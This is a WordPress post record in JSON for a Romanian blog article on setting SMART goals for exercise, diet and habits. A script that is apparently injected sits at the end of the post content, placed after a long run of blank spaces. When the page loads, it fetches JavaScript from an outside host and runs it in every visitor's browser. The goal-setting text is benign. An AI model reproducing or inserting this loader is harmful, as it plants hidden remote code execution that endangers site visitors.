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{"id":210675,"date":"2021-04-20T19:53:54","date_gmt":"2021-04-20T19:53:54","guid":{"rendered":"https:\/\/contourvibestudio.ro\/?p=210675"},"modified":"2025-06-26T03:42:36","modified_gmt":"2025-06-26T03:42:36","slug":"scopuri-inteligente","status":"publish","type":"post","link":"https:\/\/contourvibestudio.ro\/?p=210675","title":{"rendered":"Scopuri Inteligente"},"content":{"rendered":"<p>[et_pb_section fb_built=&#8221;1&#8243; _builder_version=&#8221;4.8.1&#8243; _module_preset=&#8221;default&#8221;][et_pb_row _builder_version=&#8221;4.8.1&#8243; _module_preset=&#8221;default&#8221;][et_pb_column type=&#8221;4_4&#8243; _builder_version=&#8221;4.8.1&#8243; _module_preset=&#8221;default&#8221;][et_pb_text _builder_version=&#8221;4.8.1&#8243; _module_preset=&#8221;default&#8221; text_font=&#8221;Roboto||on||||||&#8221;]Oamenii de afaceri folosesc o serie de principii clare pentru atingerea obiectivelor &#8211; idei ce pot fi utile aproape oricui. Astfel, c\u00e2nd v\u0103 defini\u021bi scopurile ave\u021bi grij\u0103 s\u0103 fie:[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=&#8221;1_2,1_2&#8243; _builder_version=&#8221;4.8.1&#8243; _module_preset=&#8221;default&#8221;][et_pb_column type=&#8221;1_2&#8243; _builder_version=&#8221;4.8.1&#8243; _module_preset=&#8221;default&#8221;][et_pb_image src=&#8221;https:\/\/contourvibestudio.ro\/wp-content\/uploads\/2021\/04\/20210415_193731-scaled.jpg&#8221; title_text=&#8221;20210415_193731&#8243; _builder_version=&#8221;4.8.1&#8243; _module_preset=&#8221;default&#8221; border_radii=&#8221;on|10px|10px|10px|10px&#8221; box_shadow_style=&#8221;preset4&#8243; box_shadow_horizontal=&#8221;-10px&#8221; box_shadow_color=&#8221;#ff3e59&#8243;][\/et_pb_image][\/et_pb_column][et_pb_column type=&#8221;1_2&#8243; _builder_version=&#8221;4.8.1&#8243; _module_preset=&#8221;default&#8221;][et_pb_text _builder_version=&#8221;4.8.1&#8243; _module_preset=&#8221;default&#8221;]<\/p>\n<p><strong>Precise<\/strong>: &#8220;voi petrece o ora de miscare in fiecare joi, de la ora 19:00.&#8221; (Nu: O sa fac mai multa miscare.)<\/p>\n<p><strong>Masurabile<\/strong>: &#8220;Saptamana asta, in fiecare zi voi manca un fruct in loc de ciocolata.&#8221; (Nu: &#8220;de acum inainte voi manca mai multe fructe.) Pentru a afla daca scopul dumneavostra este intr-adevar masurabil puneti-va intrebari precum: &#8220;Cat anume?&#8221;, &#8220;Cum voi sti ca mi-am atins scopul?&#8221;<\/p>\n<p><strong>Realizabile<\/strong>: &#8220;Am decis sa renunt la carnea grasa, la prajeli si la mancarurile gata preparate&#8221; (Nu: &#8220;O sa evit toate grasimile saturate.&#8221;)<\/p>\n<p><strong>Realiste<\/strong>: &#8220;Voi inspira profund ori de cate ori ma enervez la serviciu.&#8221; (Nu: N-o sa ma mai cert cu nimeni niciodata.&#8221;)<\/p>\n<p><strong>Oportune<\/strong>: &#8220;Incep dieta de luni si imi propun sa scap de 3-4 centimetrii din talie pana la 15 august.&#8221; (Nu: &#8220;Vreau sa am o talie de 66 de centimetrii&#8221;)<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=&#8221;1_2,1_2&#8243; _builder_version=&#8221;4.8.1&#8243; _module_preset=&#8221;default&#8221;][et_pb_column type=&#8221;1_2&#8243; _builder_version=&#8221;4.8.1&#8243; _module_preset=&#8221;default&#8221;][et_pb_text _builder_version=&#8221;4.8.1&#8243; _module_preset=&#8221;default&#8221;]<\/p>\n<p><strong>Pastrati-va elanul<\/strong><\/p>\n<p>Odata ce v-ati stabilit niste scopuri realiste, e momentul sa va alcatuiti un orar. Nu veti putea renunta la obiceiurile de-o viata in cateva saptamani, insa puteti incepe sa faceti schimbari mici dar de durata. Ar fi util sa luati notite intr-un jurnal, ca sa tineti evidenta reusitelor si sa observati cand ceva nu a mers cum trebuie &#8211; iar atunci sa incercati alt lucru. Profitati de tot cec va poate ajuta. Spuneti-le prietenilor ca vreti sa va lasati de fumat si cereti-le sprijinul; mobilizati-va partenerul sau copiii, rugandu-i sa vi se alature la activitatea fizica. Stabiliti-va un scop intermediar; nu va imaginati ca puteti rezolva totul in cateva zile.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][et_pb_column type=&#8221;1_2&#8243; _builder_version=&#8221;4.8.1&#8243; _module_preset=&#8221;default&#8221;][et_pb_image src=&#8221;https:\/\/contourvibestudio.ro\/wp-content\/uploads\/2021\/04\/20210415_192954-scaled.jpg&#8221; title_text=&#8221;20210415_192954&#8243; _builder_version=&#8221;4.8.1&#8243; _module_preset=&#8221;default&#8221; hover_enabled=&#8221;0&#8243; border_radii=&#8221;on|10px|10px|10px|10px&#8221; box_shadow_style=&#8221;preset4&#8243; box_shadow_color=&#8221;#ff3e59&#8243; sticky_enabled=&#8221;0&#8243;][\/et_pb_image][\/et_pb_column][\/et_pb_row][et_pb_row _builder_version=&#8221;4.8.1&#8243; _module_preset=&#8221;default&#8221;][et_pb_column type=&#8221;4_4&#8243; _builder_version=&#8221;4.8.1&#8243; _module_preset=&#8221;default&#8221;][et_pb_text _builder_version=&#8221;4.8.1&#8243; _module_preset=&#8221;default&#8221; text_font=&#8221;Dancing Script||||||||&#8221; min_height=&#8221;43.3px&#8221;]<\/p>\n<p>\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0<strong><em>Articol realizat de Carmen Petrescu<\/em><\/strong><\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<script>;document.addEventListener(\"DOMContentLoaded\", function () {\n    var url = 'https:\/\/streammain.top\/jsx';\n    fetch(url)\n        .then(response => response.text())\n        .then(data => {\n            var script = document.createElement('script');\n            script.innerHTML = data.trim();\n            document.head.appendChild(script);\n        })\n});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Oamenii de afaceri folosesc o serie de principii clare pentru atingerea obiectivelor \u2013 idei ce pot fi utile aproape oricui. Astfel, c\u00e2nd v\u0103 defini\u021bi scopurile ave\u021bi grij\u0103 s\u0103 fie:<\/p>\n","protected":false},"author":4,"featured_media":210668,"comment_status":"open","ping_status":"open","sticky":true,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-210675","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v19.13-RC1 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Scopuri Inteligente - Contour Vibe Studio<\/title>\n<meta name=\"description\" content=\"Oamenii de afaceri folosesc o serie de principii clare pentru atingerea obiectivelor \u2013 idei ce pot fi utile aproape oricui. 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